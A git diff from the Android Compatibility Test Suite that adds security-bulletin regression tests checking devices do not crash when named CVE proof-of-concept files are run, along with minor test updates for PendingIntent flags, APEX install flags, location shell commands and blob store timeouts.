diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0684.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0684.java
new file mode 100644
index 0000000..4dd4b39
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0684.java
@@ -0,0 +1,38 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2017_0684 extends SecurityTestCase {
+
+ /**
+ * b/35421151
+ * Vulnerability Behaviour: SIGSEGV in media.codec
+ */
+ @SecurityTest(minPatchLevel = "2017-07")
+ @Test
+ public void testPocCVE_2017_0684() throws Exception {
+ pocPusher.only32();
+ String errPattern[] = {"media\\.codec", "omx@\\d+?\\.\\d+?-service"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-0684", null, getDevice(),
+ errPattern);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0726.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0726.java
new file mode 100644
index 0000000..5a17589
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0726.java
@@ -0,0 +1,38 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2017_0726 extends SecurityTestCase {
+
+ /**
+ * b/36389123
+ * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+ */
+ @SecurityTest(minPatchLevel = "2017-08")
+ @Test
+ public void testPocCVE_2017_0726() throws Exception {
+ pocPusher.only64();
+ String inputFiles[] = {"cve_2017_0726.mp4"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-0726",
+ AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2135.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2135.java
new file mode 100644
index 0000000..db98e28
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2135.java
@@ -0,0 +1,39 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import com.android.tradefed.device.ITestDevice;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_2135 extends SecurityTestCase {
+
+ /**
+ * b/125900276
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2019-08")
+ @Test
+ public void testPocCVE_2019_2135() throws Exception {
+ pocPusher.only64();
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE_2019_2135", null, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0037.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0037.java
new file mode 100644
index 0000000..4e0a4a6e
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0037.java
@@ -0,0 +1,38 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0037 extends SecurityTestCase {
+
+ /**
+ * b/143106535
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2020-03")
+ @Test
+ public void testPocCVE_2020_0037() throws Exception {
+ pocPusher.only64();
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0037", null, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0038.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0038.java
new file mode 100644
index 0000000..6759c30
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0038.java
@@ -0,0 +1,38 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0038 extends SecurityTestCase {
+
+ /**
+ * b/143109193
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2020-03")
+ @Test
+ public void testPocCVE_2020_0038() throws Exception {
+ pocPusher.only64();
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0038", null, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0039.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0039.java
new file mode 100644
index 0000000..f0f3323
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0039.java
@@ -0,0 +1,38 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0039 extends SecurityTestCase {
+
+ /**
+ * b/143155861
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2020-03")
+ @Test
+ public void testPocCVE_2020_0039() throws Exception {
+ pocPusher.only64();
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0039", null, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0381.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0381.java
new file mode 100644
index 0000000..07f82bb
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0381.java
@@ -0,0 +1,40 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.device.ITestDevice;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0381 extends SecurityTestCase {
+
+ /**
+ * b/150159669
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2020-09")
+ @Test
+ public void testPocCVE_2020_0381() throws Exception {
+ String inputFiles[] = {"cve_2020_0381.xmf", "cve_2020_0381.info"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0381",
+ AdbUtils.TMP_PATH + inputFiles[0] + " " + AdbUtils.TMP_PATH + inputFiles[1],
+ inputFiles, AdbUtils.TMP_PATH, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0384.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0384.java
new file mode 100644
index 0000000..aedeb1a
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0384.java
@@ -0,0 +1,40 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.device.ITestDevice;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0384 extends SecurityTestCase {
+
+ /**
+ * b/150159906
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2020-09")
+ @Test
+ public void testPocCVE_2020_0384() throws Exception {
+ String inputFiles[] = {"cve_2020_0384.xmf", "cve_2020_0384.info"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0384",
+ AdbUtils.TMP_PATH + inputFiles[0] + " " + AdbUtils.TMP_PATH + inputFiles[1],
+ inputFiles, AdbUtils.TMP_PATH, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0385.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0385.java
new file mode 100644
index 0000000..37465e4
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0385.java
@@ -0,0 +1,40 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.device.ITestDevice;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0385 extends SecurityTestCase {
+
+ /**
+ * b/150160041
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2020-09")
+ @Test
+ public void testPocCVE_2020_0385() throws Exception {
+ String inputFiles[] = {"cve_2020_0385.xmf", "cve_2020_0385.info"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0385",
+ AdbUtils.TMP_PATH + inputFiles[0] + " " + AdbUtils.TMP_PATH + inputFiles[1],
+ inputFiles, AdbUtils.TMP_PATH, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0462.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0462.java
deleted file mode 100644
index fe42a0b..0000000
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0462.java
+++ /dev/null
@@ -1,46 +0,0 @@
-/**
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.platform.test.annotations.SecurityTest;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
-import static org.junit.Assume.assumeTrue;
-import static org.junit.Assert.*;
-
-@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0462 extends SecurityTestCase {
-
- /**
- * b/169161709
- */
- @Test
- @SecurityTest(minPatchLevel = "2020-12")
- public void testPocCVE_2020_0462() throws Exception {
- assumeTrue(containsDriver(getDevice(),
- "/sys/devices/system/cpu/vulnerabilities/spec_store_bypass"));
- String spec_store_bypass = AdbUtils.runCommandLine(
- "cat /sys/devices/system/cpu/vulnerabilities/spec_store_bypass", getDevice());
- assertFalse(spec_store_bypass.startsWith("Vulnerable"));
- assertTrue(spec_store_bypass.startsWith("Not affected") ||
- spec_store_bypass.startsWith("Mitigation"));
- }
-}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0330.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0330.java
new file mode 100644
index 0000000..3d3f4a8
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0330.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.compatibility.common.util.CrashUtils;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0330 extends SecurityTestCase {
+
+ /**
+ * b/170732441
+ * Vulnerability Behaviour: SIGSEGV in storaged
+ */
+ @SecurityTest(minPatchLevel = "2021-02")
+ @Test
+ public void testPocCVE_2021_0330() throws Exception {
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig("CVE-2021-0330", getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns("storaged");
+ testConfig.config.checkMinAddress(false);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
index abe6ba8..35e46c7 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
@@ -46,6 +46,19 @@
******************************************************************************/
/**
+ * b/17769851
+ * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+ */
+ @SecurityTest(minPatchLevel = "2015-12")
+ @Test
+ public void testPocCVE_2015_6616() throws Exception {
+ pocPusher.only64();
+ String inputFiles[] = {"cve_2015_6616.mp4"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2015-6616",
+ AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice());
+ }
+
+ /**
* b/37239013
* Vulnerability Behaviour: EXIT_VULNERABLE (113)
*/
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4old/src/android/content/pm/cts/shortcut/backup/publisher4/ShortcutManagerPostBackupTest.java b/hostsidetests/shortcuts/deviceside/backup/publisher4old/src/android/content/pm/cts/shortcut/backup/publisher4/ShortcutManagerPostBackupTest.java
index 224c8ba..18ad055 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher4old/src/android/content/pm/cts/shortcut/backup/publisher4/ShortcutManagerPostBackupTest.java
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4old/src/android/content/pm/cts/shortcut/backup/publisher4/ShortcutManagerPostBackupTest.java
@@ -319,7 +319,7 @@
getContext().registerReceiver(onResult, myFilter);
assertTrue(getManager().requestPinShortcut(ms2,
PendingIntent.getBroadcast(getContext(), 0, new Intent(myIntentAction),
- PendingIntent.FLAG_CANCEL_CURRENT).getIntentSender()));
+ PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED).getIntentSender()));
assertTrue("Didn't receive requestPinShortcut() callback.",
latch.await(30, TimeUnit.SECONDS));
diff --git a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java
index 2d88e00..4a69184 100644
--- a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java
+++ b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java
@@ -1217,6 +1217,28 @@
}
}
+ @Test
+ public void testApexSetsUpdatedSystemAppFlag_preUpdate() throws Exception {
+ final PackageInfo info = InstallUtils.getPackageInfo(SHIM_APEX_PACKAGE_NAME);
+ assertThat(info).isNotNull();
+ boolean isSystemApp = (info.applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM) != 0;
+ boolean isUpdatedSystemApp =
+ (info.applicationInfo.flags & ApplicationInfo.FLAG_UPDATED_SYSTEM_APP) != 0;
+ assertThat(isSystemApp).isTrue();
+ assertThat(isUpdatedSystemApp).isFalse();
+ }
+
+ @Test
+ public void testApexSetsUpdatedSystemAppFlag_postUpdate() throws Exception {
+ final PackageInfo info = InstallUtils.getPackageInfo(SHIM_APEX_PACKAGE_NAME);
+ assertThat(info).isNotNull();
+ boolean isSystemApp = (info.applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM) != 0;
+ boolean isUpdatedSystemApp =
+ (info.applicationInfo.flags & ApplicationInfo.FLAG_UPDATED_SYSTEM_APP) != 0;
+ assertThat(isSystemApp).isFalse();
+ assertThat(isUpdatedSystemApp).isTrue();
+ }
+
// It becomes harder to maintain this variety of install-related helper methods.
// TODO(ioffe): refactor install-related helper methods into a separate utility.
private static int createStagedSession() throws Exception {
diff --git a/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java b/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
index f6bda25..66f2510 100644
--- a/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
+++ b/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
@@ -658,6 +658,16 @@
runPhase("testApexWithUnsignedPayloadFailsVerification");
}
+ @Test
+ @LargeTest
+ public void testApexSetsUpdatedSystemAppFlag() throws Exception {
+ assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported());
+
+ runPhase("testApexSetsUpdatedSystemAppFlag_preUpdate");
+ installV2Apex();
+ runPhase("testApexSetsUpdatedSystemAppFlag_postUpdate");
+ }
+
/**
* Test non-priv apps cannot access /data/app-staging folder contents
*/
diff --git a/hostsidetests/time/host/src/android/time/cts/host/LocationManager.java b/hostsidetests/time/host/src/android/time/cts/host/LocationManager.java
index f2f9c399..dab7e33 100644
--- a/hostsidetests/time/host/src/android/time/cts/host/LocationManager.java
+++ b/hostsidetests/time/host/src/android/time/cts/host/LocationManager.java
@@ -31,6 +31,11 @@
*/
static final String SHELL_COMMAND_SET_LOCATION_ENABLED = "set-location-enabled";
+ /**
+ * A shell command that gets the current user's "location enabled" setting value.
+ */
+ static final String SHELL_COMMAND_IS_LOCATION_ENABLED = "is-location-enabled";
+
private LocationManager() {
// No need to instantiate.
}
diff --git a/hostsidetests/time/host/src/android/time/cts/host/LocationTimeZoneManagerHostTest.java b/hostsidetests/time/host/src/android/time/cts/host/LocationTimeZoneManagerHostTest.java
index d5b6405..5cab9355 100644
--- a/hostsidetests/time/host/src/android/time/cts/host/LocationTimeZoneManagerHostTest.java
+++ b/hostsidetests/time/host/src/android/time/cts/host/LocationTimeZoneManagerHostTest.java
@@ -17,6 +17,8 @@
package android.time.cts.host;
+import static android.time.cts.host.LocationManager.SHELL_COMMAND_IS_LOCATION_ENABLED;
+import static android.time.cts.host.LocationManager.SHELL_COMMAND_SET_LOCATION_ENABLED;
import static android.time.cts.host.LocationTimeZoneManager.DUMP_STATE_OPTION_PROTO;
import static android.time.cts.host.LocationTimeZoneManager.PRIMARY_PROVIDER_NAME;
import static android.time.cts.host.LocationTimeZoneManager.PROVIDER_MODE_OVERRIDE_DISABLED;
@@ -158,16 +160,13 @@
}
private boolean isLocationEnabledForCurrentUser() throws Exception {
- // TODO Ask Location team to add a shell command for this. Until then, there's a method on
- // the TimeZoneDetector service.
- byte[] result = executeTimeZoneDetectorCommand(
- TimeZoneDetector.SHELL_COMMAND_IS_LOCATION_ENABLED);
+ byte[] result = executeLocationManagerCommand(SHELL_COMMAND_IS_LOCATION_ENABLED);
return parseShellCommandBytesAsBoolean(result);
}
private void setLocationEnabledForCurrentUser(boolean enabled) throws Exception {
executeLocationManagerCommand(
- "%s %s", LocationManager.SHELL_COMMAND_SET_LOCATION_ENABLED, enabled);
+ "%s %s", SHELL_COMMAND_SET_LOCATION_ENABLED, enabled);
}
private boolean isAutoDetectionEnabled() throws Exception {
diff --git a/hostsidetests/time/host/src/android/time/cts/host/TimeZoneDetector.java b/hostsidetests/time/host/src/android/time/cts/host/TimeZoneDetector.java
index be0e3ed..7265d85 100644
--- a/hostsidetests/time/host/src/android/time/cts/host/TimeZoneDetector.java
+++ b/hostsidetests/time/host/src/android/time/cts/host/TimeZoneDetector.java
@@ -50,12 +50,6 @@
String SHELL_COMMAND_IS_GEO_DETECTION_SUPPORTED = "is_geo_detection_supported";
/**
- * A shell command that prints the current user's "location enabled" setting.
- * @hide
- */
- String SHELL_COMMAND_IS_LOCATION_ENABLED = "is_location_enabled";
-
- /**
* A shell command that prints the current user's "location-based time zone detection enabled"
* setting.
* @hide
diff --git a/suite/audio_quality/test/Android.bp b/suite/audio_quality/test/Android.bp
index d43b0aa..6b3c97b 100644
--- a/suite/audio_quality/test/Android.bp
+++ b/suite/audio_quality/test/Android.bp
@@ -17,7 +17,9 @@
cc_test_host {
name: "cts_audio_quality_test",
srcs: ["*.cpp"],
-
+ test_options: {
+ unit_test: false,
+ },
static_libs: [
"libbase",
"libutils",
diff --git a/tests/AlarmManager/src/android/alarmmanager/cts/TimeChangeTests.java b/tests/AlarmManager/src/android/alarmmanager/cts/TimeChangeTests.java
index 8b578a3..86df15e 100644
--- a/tests/AlarmManager/src/android/alarmmanager/cts/TimeChangeTests.java
+++ b/tests/AlarmManager/src/android/alarmmanager/cts/TimeChangeTests.java
@@ -98,7 +98,7 @@
final Intent alarmIntent = new Intent(ACTION_ALARM)
.setPackage(mContext.getPackageName())
.addFlags(Intent.FLAG_RECEIVER_FOREGROUND);
- mAlarmPi = PendingIntent.getBroadcast(mContext, 0, alarmIntent, 0);
+ mAlarmPi = PendingIntent.getBroadcast(mContext, 0, alarmIntent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
final IntentFilter alarmFilter = new IntentFilter(ACTION_ALARM);
mContext.registerReceiver(mAlarmReceiver, alarmFilter);
mDeviceConfigStateHelper =
diff --git a/tests/BlobStore/src/com/android/cts/blob/BlobStoreManagerTest.java b/tests/BlobStore/src/com/android/cts/blob/BlobStoreManagerTest.java
index 95a6e94..685d188 100644
--- a/tests/BlobStore/src/com/android/cts/blob/BlobStoreManagerTest.java
+++ b/tests/BlobStore/src/com/android/cts/blob/BlobStoreManagerTest.java
@@ -83,7 +83,7 @@
@RunWith(BlobStoreTestRunner.class)
public class BlobStoreManagerTest {
- private static final long TIMEOUT_COMMIT_CALLBACK_SEC = 10;
+ private static final long TIMEOUT_COMMIT_CALLBACK_SEC = 30;
private static final long TIMEOUT_BIND_SERVICE_SEC = 2;
@@ -1604,45 +1604,45 @@
// and tag are equal.
{
final BlobHandle blobHandle1 = BlobHandle.createWithSha256("digest".getBytes(),
- "Dummy blob", 1111L, "tag");
+ "Fake blob", 1111L, "tag");
final BlobHandle blobHandle2 = BlobHandle.createWithSha256("digest".getBytes(),
- "Dummy blob", 1111L, "tag");
+ "Fake blob", 1111L, "tag");
assertThat(blobHandle1).isEqualTo(blobHandle2);
}
// Check that BlobHandle objects are not equal if digests are not equal.
{
final BlobHandle blobHandle1 = BlobHandle.createWithSha256("digest1".getBytes(),
- "Dummy blob", 1111L, "tag");
+ "Fake blob", 1111L, "tag");
final BlobHandle blobHandle2 = BlobHandle.createWithSha256("digest2".getBytes(),
- "Dummy blob", 1111L, "tag");
+ "Fake blob", 1111L, "tag");
assertThat(blobHandle1).isNotEqualTo(blobHandle2);
}
// Check that BlobHandle objects are not equal if expiry times are not equal.
{
final BlobHandle blobHandle1 = BlobHandle.createWithSha256("digest".getBytes(),
- "Dummy blob", 1111L, "tag");
+ "Fake blob", 1111L, "tag");
final BlobHandle blobHandle2 = BlobHandle.createWithSha256("digest".getBytes(),
- "Dummy blob", 1112L, "tag");
+ "Fake blob", 1112L, "tag");
assertThat(blobHandle1).isNotEqualTo(blobHandle2);
}
// Check that BlobHandle objects are not equal if labels are not equal.
{
final BlobHandle blobHandle1 = BlobHandle.createWithSha256("digest".getBytes(),
- "Dummy blob1", 1111L, "tag");
+ "Fake blob1", 1111L, "tag");
final BlobHandle blobHandle2 = BlobHandle.createWithSha256("digest".getBytes(),
- "Dummy blob2", 1111L, "tag");
+ "Fake blob2", 1111L, "tag");
assertThat(blobHandle1).isNotEqualTo(blobHandle2);
}
// Check that BlobHandle objects are not equal if tags are not equal.
{
final BlobHandle blobHandle1 = BlobHandle.createWithSha256("digest".getBytes(),
- "Dummy blob", 1111L, "tag1");
+ "Fake blob", 1111L, "tag1");
final BlobHandle blobHandle2 = BlobHandle.createWithSha256("digest".getBytes(),
- "Dummy blob", 1111L, "tag2");
+ "Fake blob", 1111L, "tag2");
assertThat(blobHandle1).isNotEqualTo(blobHandle2);
}
}
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/ConnectivityConstraintTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/ConnectivityConstraintTest.java
index 0d4e6e8..7683fdf 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/ConnectivityConstraintTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/ConnectivityConstraintTest.java
@@ -34,8 +34,11 @@
import android.os.Looper;
import android.os.Message;
import android.platform.test.annotations.RequiresDevice;
+import android.provider.Settings;
import android.util.Log;
+import com.android.compatibility.common.util.AppStandbyUtils;
+import com.android.compatibility.common.util.BatteryUtils;
import com.android.compatibility.common.util.ShellIdentityUtils;
